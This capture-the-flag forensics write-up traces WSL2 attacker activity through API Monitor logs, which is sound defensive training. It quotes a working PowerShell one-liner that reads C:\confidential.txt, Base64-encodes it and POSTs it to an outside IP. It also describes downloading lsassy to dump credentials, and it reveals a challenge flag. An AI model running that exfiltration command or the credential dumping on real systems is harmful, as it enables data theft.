Jugglin
Jugglin
Platform: HackTheBox | Type: SOC/DFIR | Difficulty: Medium | Author: D3v0o0Nu11 | Date: 2026-02-10
Scenario
Forela Corporation heavily depends on the utilisation of the Windows Subsystem for Linux (WSL), and currently, threat actors are leveraging this feature, taking advantage of its elusive nature that makes it difficult for defenders to detect. In response, the red team at Forela has executed a range of commands using WSL2 and shared API logs for analysis.
Key Questions
- What indicators of compromise exist?
- What attack chain / MITRE techniques were used?
- What is the full timeline?
Investigation Timeline
| Time | Event | Evidence / Source |
|---|---|---|
| — | In this task, we're given a .apmx64 file which we can analyze using API Monitor tool. | |
| — | It is known that there is an insider that Forela Corporation that helps the attacker to gain access to the system. | |
| — | Remembering Forela Corporation depends on the utilisation of WSL hence it's harder for us to detect. However the red ... | |
| — | To identify the initial command executed by the insider, we need to monitor the API logs for insider. | |
| — | RESULT IN API Monitor tool. | |
| — | Noticed, several string API function is called. | |
| — | Reviewing each of them, found the first string function shall be our interest. Seems it used to map the UTF16 to a ne... | |
| — | So after WideCharToMultiByte API is called, another child API is also called --> RtlUnicodeToUTF8N. This API tran... | |
| — | Then a WriteFile API is called, it is for writes data. Specifically for both synchronous and asynchronous operation... | |
| — | So following each this API call shall until it stops calling it, shall means the keystroke is stopped and the system ... | |
| — | Long story short, following each of them shall resulting to whoami command. | |
| — | The result can be seen at index 36. |
Evidence Analysed
- Tools: powershell, strings.
- Artifacts: memory.
Detailed Investigation
- In this task, we're given a
.apmx64file which we can analyze using API Monitor tool. - It is known that there is an insider that Forela Corporation that helps the attacker to gain access to the system.
- Remembering Forela Corporation depends on the utilisation of WSL hence it's harder for us to detect. However the red team shared API logs for us to analyze.
1ST QUESTION --> ANS: REDACTED
- To identify the initial command executed by the insider, we need to monitor the API logs for
insider.
RESULT IN API Monitor tool.
-
Noticed, several string API function is called.
-
Reviewing each of them, found the first string function shall be our interest. Seems it used to map the UTF16 to a new character string.
-
So after
WideCharToMultiByteAPI is called, another child API is also called -->RtlUnicodeToUTF8N. This API translate the specified Unicode string into a new string, using the UTF-8 code page. -
Then a
WriteFileAPI is called, it is for writes data. Specifically for both synchronous and asynchronous operation --> I/O device. -
So following each this API call shall until it stops calling it, shall means the keystroke is stopped and the system is processing an output.
-
Long story short, following each of them shall resulting to
whoamicommand. -
The result can be seen at index 36.
2ND QUESTION --> ANS: REDACTED
- Based from our previous analysis, APIs can be used to monitor the keystrokes should be
WideCharToMultiBytefunction andRtlUnicodeToUTF8Nfunction. - Previously we identified the keystroke after
WideCharToMultiBytefunction call and if you notice, there is a child API function call namedRtlUnicodeToUTF8N.
3RD QUESTION --> ANS: REDACTED
- After the execution of whoami command, we identified that the insider is interacting with a linux distribution named
kali.
4TH QUESTION --> ANS: REDACTED
-
To identify the accessed file by the insider, we can use our previous method to identify the command executed by the insider.
-
Simply follow the previous APIs used to monitor the keystrokes.
-
Based from the log at index 109, we can see that the insider traversed to
/mnt/c/Users/karti/onedrivedirectory. -
Then the insider reached
desktop. Seems the file accessed is at the desktop. -
Long story short, again simply by following the keystrokes we can identify that the insider executed
cat flag.txt, then the content or output can be seen by checking theWriteFilemodule. Now we know that the insider accessed flag.txt file.
5TH QUESTION --> ANS: REDACTED
- Based from our previous finding, it's clear the content of flag.txt is
HOOK_tH1$_apI_R7lUNIcoDet0utf8N.
6TH QUESTION --> ANS: REDACTED
- Again, using the previous method, we identified that the insider tried to exfiltrate another data from the victim machine. it's a txt file named Confidential.
pwsh read-only • copy allowedPAYLOAD USED: powershell.exe -c "Invoke-WebRequest -uri http://3.6.165.8/ -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes(\"C:\confidential.txt\")))"
NOTES:
This command reads the contents of C:\confidential.txt, converts it to a Base64 string, and sends it via a POST
request to the specified remote server (http://3.6.165.8/). This is a common technique used by attackers to exfiltrate
sensitive data from a compromised system.
- Based from the payload above, it's clear that the insider utilized
Invoke-WebRequestmodule to extract data from the victim machine.
7TH QUESTION --> ANS: REDACTED
-
Based from the previous finding,
MultiByteToWideCharstrings function has a child API string function namedRtlUTF8ToUnicodeN. -
The child API function is used to translate the specified source string into a Unicode String. It translates the source string using the UTF8 code page.
8TH QUESTION --> ANS: REDACTED
- After the insider tried to exfiltrate the file, it accessed it afterwards. Using the same method by following the keystrokes. The output can be seen at the
WriteFileAPI call.
9TH QUESTION --> ANS: REDACTED
-
Now let's monitor the
Attackerapxm64 file. Initial analysis, the attacker executed commandwhoamibefore lateral movement, which the output can be seen -->kali. -
Then it tried to execute
lsassy, but the binary seems not found inside the machine.
10TH QUESTION --> ANS: REDACTED
- So the next thing he does is to download the binary to the local machine.
- This activity can be seen at index 31 and 32.
11TH QUESTION --> ANS: REDACTED
-
Afterwards, he changed the binary permissions to be executeable by user.
-
Then the binary seems used to connect to a remote machine at
192.168.1.9using the provided username and password, extract credentials from the lsassy process. -
Then save the results to a file naamed
keys.txtunder/tmpdirectory. -
Judging from this activity, seems the objective is to gain access to sensitive credential stored in memory on the target system, which can be used for further exploitation within the network.
-
The result of this activity can be seen at the
WriteFileAPI function call. Seems the attacker obtained the hash of victimuser.
12TH QUESTION --> ANS: REDACTED
- Each time the attacker executed command inside the WSL2, the output can be seen at the
WriteFileAPI function call. Also we use this API to identify the result of the execution. - Knowing this, we can conclude that
WriteFileis a WIN32 API can be intercepted to monitor the behavior of the WSL2. - Anyway, we've investigated the case!
Findings
- Persistence mechanism — As documented in the investigation steps.
- Initial access — The threat actor established access via the vector described in the investigation steps.
- Impact — Data was stolen / systems impacted as described in the investigation steps.
MITRE ATT&CK Mapping
| Tactic | Technique | ID |
|---|---|---|
| Lateral Movement | Remote Services | T1021 |
| Defense Evasion | Obfuscated Files or Information | T1027 |
| Exfiltration | Exfiltration Over C2 Channel | T1041 |
| Command and Control | Ingress Tool Transfer | T1105 |
Answers / Flags
- 1ST QUESTION --> ANS: REDACTED
- 2ND QUESTION --> ANS: REDACTED
- 3RD QUESTION --> ANS: REDACTED
- 4TH QUESTION --> ANS: REDACTED
- 5TH QUESTION --> ANS: REDACTED
- 6TH QUESTION --> ANS: REDACTED
- 7TH QUESTION --> ANS: REDACTED
- 8TH QUESTION --> ANS: REDACTED
- 9TH QUESTION --> ANS: REDACTED
- 10TH QUESTION --> ANS: REDACTED
- 11TH QUESTION --> ANS: REDACTED
- 12TH QUESTION --> ANS: REDACTED
Lessons Learned
- Conduct Forensic Analysis for .apmx64 file.
- Using API Monitor tool to analysis the file and intercept the function call.
- Identify string API API function call that can be intercepted to monitor keystrokes.
- Identify API function call that can be intercepted to monitor the behavior of WSL2.
- Identify string API function call that can be intercepted to monitor the usage of Windows Tool via WSL.
- Identify powershell module used to exfiltrate data from the victim machine.